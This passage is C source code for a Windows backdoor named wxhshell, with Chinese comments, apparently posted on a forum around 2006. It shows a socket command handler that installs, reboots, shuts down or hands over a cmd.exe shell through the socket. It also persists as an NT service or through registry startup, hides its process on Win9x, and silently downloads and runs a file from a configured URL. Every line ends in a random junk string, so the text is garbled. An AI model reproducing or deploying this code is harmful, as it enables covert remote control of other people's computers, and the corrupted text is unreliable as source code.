  // 帮助 A%EhRAy  
  case '?': { 5G6 Pp7[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N/lEfy<&g:  
    break; LV9R ]  
  } >l-u{([B  
  // 安装 3W ]zLUn  
  case 'i': { uN?Lz1W\;  
    if(Install()) @rqmDpU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V O1   
    else }x$@j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dR i6  
    break; x xzUey  
    } 7gLk~*  
  // 卸载 vC&0UNe$  
  case 'r': { 1r4NP  
    if(Uninstall()) **-rPonM[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UazK0{t<f  
    else '/D2d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BbFLT@W4  
    break; QDJ#zMxFD  
    } ~9@527m<',  
  // 显示 wxhshell 所在路径 U*N{H$ACuR  
  case 'p': { T/u61}'U{  
    char svExeFile[MAX_PATH]; 6qQ_I 0f  
    strcpy(svExeFile,"\n\r"); \+Qd=,!i(  
      strcat(svExeFile,ExeFile); V!*1F1  
        send(wsh,svExeFile,strlen(svExeFile),0); [< 9%IGH  
    break; .mwW`D  
    } w&#[g9G%  
  // 重启 d8 ~%(I9  
  case 'b': { D:K"J><@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $EIKi'!8  
    if(Boot(REBOOT)) N:'GNMu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AzzHpfv,  
    else { M-;Mw Lx  
    closesocket(wsh); Xa-TNnws?  
    ExitThread(0); u1kCvi#N  
    } G]xYQ]  
    break; |$\1E+  
    } ?$I9/r  
  // 关机 4TQmEM,  
  case 'd': { Dg~m}La  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q<szH1-  
    if(Boot(SHUTDOWN)) ,d!@5d&Zi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qhe<(<^J,  
    else { IuFr:3(  
    closesocket(wsh); -1$z=,q'  
    ExitThread(0); }VWUcALJV  
    } MowAM+?^}  
    break; 7C Sn79E  
    } 4uE )*1  
  // 获取shell :Eh}]_  
  case 's': { hb0)<^xu  
    CmdShell(wsh); O.Te"=^"F  
    closesocket(wsh); 19% "F!^i  
    ExitThread(0); r4K_Wp  
    break; V"gKk$j7  
  } E>#@ H  
  // 退出 S,|ZCl>+  
  case 'x': { J 7dHD(R8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8t< X  
    CloseIt(wsh); ,[N(XstI  
    break; Q|VBH5}1O  
    } zSMM?g^T  
  // 离开 &&jQ4@m}j  
  case 'q': { 'lEIwJV$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SH"<f_  
    closesocket(wsh); um<$L  
    WSACleanup(); `X ()"Qw  
    exit(1); 'b[O-6v  
    break; q$H@W. f  
        } 2ZbSdaM=  
  } eC 2~&:$L  
  } sAjUX.c  
lpB:lRM  
  // 提示信息 GaJE(N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VqD_FS;E  
} f `b6E J  
  } `CL\-  
| "b|Q  
  return; vN]_/T+  
} xHx_! )7  
[(3 %$?[  
// shell模块句柄 @qWClr{`  
int CmdShell(SOCKET sock) a3:45[SO4e  
{ D;48VK/Q  
STARTUPINFO si; Zy)iNNtn  
ZeroMemory(&si,sizeof(si)); '%+LQ"Bp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cnc=GTR i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G^;]]Ji"  
PROCESS_INFORMATION ProcessInfo; .;U?%t_7  
char cmdline[]="cmd"; BTO l`U  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lR F5/  
  return 0; +wHa)A0MW  
} *Br }U  
{ /8s`m  
// 自身启动模式 'm<L}d  
int StartFromService(void) VD!PF'  
{ xudZ7   
typedef struct X=Y(,ZR(&  
{ o8A8fHl  
  DWORD ExitStatus; wvxqgXnB\  
  DWORD PebBaseAddress; -IDhK}C&T  
  DWORD AffinityMask; B 'O1dRj&6  
  DWORD BasePriority; WU/5i 8  
  ULONG UniqueProcessId; hp7ni1V  
  ULONG InheritedFromUniqueProcessId; *.A-UoHa  
}   PROCESS_BASIC_INFORMATION; p Zxx  
q+;lxR5D  
PROCNTQSIP NtQueryInformationProcess; cF iTanu  
3fE0cVG*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XCgC^c'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JHg;2xm"<K  
8A*tpMV?J  
  HANDLE             hProcess; V sL*&Fk  
  PROCESS_BASIC_INFORMATION pbi; )$pqe|,  
P;X0L{u0H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6%o@!|=I  
  if(NULL == hInst ) return 0; tp ky  
E=bZ4 /  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ={p<|8`"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bx7hQzoX=b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5yW}#W>  
"79b>  
  if (!NtQueryInformationProcess) return 0; >r4BI}8SK<  
u2':~h?l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?<OyJ|;V  
  if(!hProcess) return 0; rc`Il{~k  
!0Ak)Q]e'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a_DK"8I  
`sv]/8RN  
  CloseHandle(hProcess); ZXbq5p_  
b+dmJ]c  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HR  
if(hProcess==NULL) return 0; h9nh9a(2  
hA`9[58/  
HMODULE hMod; gxVJH'[V5  
char procName[255]; 0N6 X;M{zh  
unsigned long cbNeeded; wSALK)T1{  
_jVJkg)]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,[_)BM  
G 8tK"LC  
  CloseHandle(hProcess); daf-B-  
,z((?h,nm  
if(strstr(procName,"services")) return 1; // 以服务启动 e)L!4Y44K  
"`pg+t&  
  return 0; // 注册表启动 zR=g<e1xe  
} bDegIW/'w  
O`~L*h_  
// 主模块 S!iDPl~  
int StartWxhshell(LPSTR lpCmdLine) # ?u bvSdU  
{ rdX;  
  SOCKET wsl; o 7V&HJ[  
BOOL val=TRUE; 5["n] i  
  int port=0; E*v+@rv  
  struct sockaddr_in door; 7i=ER*F~  
'Rv.6>xqc  
  if(wscfg.ws_autoins) Install(); B\dhw@hM  
L'"od;(6R  
port=atoi(lpCmdLine); 0U2dNLc  
On+0@hh  
if(port<=0) port=wscfg.ws_port; B]>rcjD  
Xs2B:`,hh  
  WSADATA data; k$,y1hH;f8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `y1,VY  
@d ^MaXp_P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x ;]em9b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E_xk8X~  
  door.sin_family = AF_INET; 5YiBPB")  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |A H@W#7j  
  door.sin_port = htons(port); \J6e/ G  
AUaupNN  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $BOIa  
closesocket(wsl); 25;`yB$  
return 1; /\pUA!G)BD  
} >k 2^A  
H .sfM   
  if(listen(wsl,2) == INVALID_SOCKET) { hSk  
closesocket(wsl); od3b,Q  
return 1; pTYV@5|  
} i_$?sg#=yk  
  Wxhshell(wsl); 2bpFQ8q  
  WSACleanup(); 7. eiM!7g  
h{PJ4U{W  
return 0; <FvljKuq+  
0B5d$0  
} ]mi)x6 3^  
}sfv zw_  
// 以NT服务方式启动 M !rw!,g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gf,[GbZ  
{ (8GA;:G7G  
DWORD   status = 0; d5=yAn-+=  
  DWORD   specificError = 0xfffffff; 6 c-9[-Px  
* x.gPG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :XO7#P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; c{/KkmI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;:Y/"5h  
  serviceStatus.dwWin32ExitCode     = 0; :*Z@UY   
  serviceStatus.dwServiceSpecificExitCode = 0; NB&zBJ#  
  serviceStatus.dwCheckPoint       = 0; qh wl  
  serviceStatus.dwWaitHint       = 0; 2\[ Q{T=Qe  
e" p5hpl  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .zdmUS :  
  if (hServiceStatusHandle==0) return; wV{VV?h}  
&$pA,Gjin\  
status = GetLastError(); i]zTY\gw8M  
  if (status!=NO_ERROR) uU8L93  
{ ,j[1!*Z_[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `$r?^|T  
    serviceStatus.dwCheckPoint       = 0; ,Q8h#0z r  
    serviceStatus.dwWaitHint       = 0; /^ [K  
    serviceStatus.dwWin32ExitCode     = status; v/G^yZa  
    serviceStatus.dwServiceSpecificExitCode = specificError; ??Dv\yLZI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ozc9yy!%  
    return; ze#ncnMo  
  } GF*E+/ ;  
AyMbwCR"X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `?vI_>md'!  
  serviceStatus.dwCheckPoint       = 0; mP ^*nB@,  
  serviceStatus.dwWaitHint       = 0; `)1qq @  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C2K<CDVw  
} 3;EBKGg|  
? )"v~vs  
// 处理NT服务事件,比如:启动、停止 n,|YJ,v[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l,E4h-$  
{ S2 YxA  
switch(fdwControl) ']vMOGG  
{ A:,V)  
case SERVICE_CONTROL_STOP: o){<PN|z  
  serviceStatus.dwWin32ExitCode = 0; nZkMyRk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ea N^<  
  serviceStatus.dwCheckPoint   = 0; -k@Uo(MB  
  serviceStatus.dwWaitHint     = 0;  ev(E  
  { /C[XC7^4'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N|s8PIcSp  
  } x@<!#d+  
  return; l65Qk2<YC  
case SERVICE_CONTROL_PAUSE: (7}Zh|@W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `qr.@0whP  
  break; lJBZ0  
case SERVICE_CONTROL_CONTINUE: :j% B(@b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kX'a*AG  
  break; unkA%x{W;  
case SERVICE_CONTROL_INTERROGATE: o%73M!-  
  break; <+; cgF!+  
}; VI^~I;M^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $ 4A!Y  
} {Gr"oO`&"  
V?z-Dt C  
// 标准应用程序主函数 ]4&B*]j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A,GJ6qp3  
{ z_9q T"vF  
^p #bxN")  
// 获取操作系统版本 {:BY IdX  
OsIsNt=GetOsVer(); ~DK=&hCd!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0,[- 4m  
8HH\wu$$e  
  // 从命令行安装 _jrkR n1"  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4fdO Ow  
x9H qc9q  
  // 下载执行文件 R2nDK7j  
if(wscfg.ws_downexe) { uWerC?da  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,koG*sn  
  WinExec(wscfg.ws_filenam,SW_HIDE); l`RFi)u~&  
} ~1.~4~um  
; WsV.n  
if(!OsIsNt) { f n\&%`U  
// 如果时win9x,隐藏进程并且设置为注册表启动 $*dY f  
HideProc(); !EO 2  
StartWxhshell(lpCmdLine); kpO+  
} +8V |  
else O6r.q&U  
  if(StartFromService()) ? 1b*9G%i  
  // 以服务方式启动 8]0?mV8iOE  
  StartServiceCtrlDispatcher(DispatchTable); Xw9"wAj  
else @NJJ  
  // 普通方式启动 ` oXL  
  StartWxhshell(lpCmdLine); jh.e&6  
>oc&hT  
return 0; v`u>; S_  
}
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只看该作者 1 发表于: 2006-10-10
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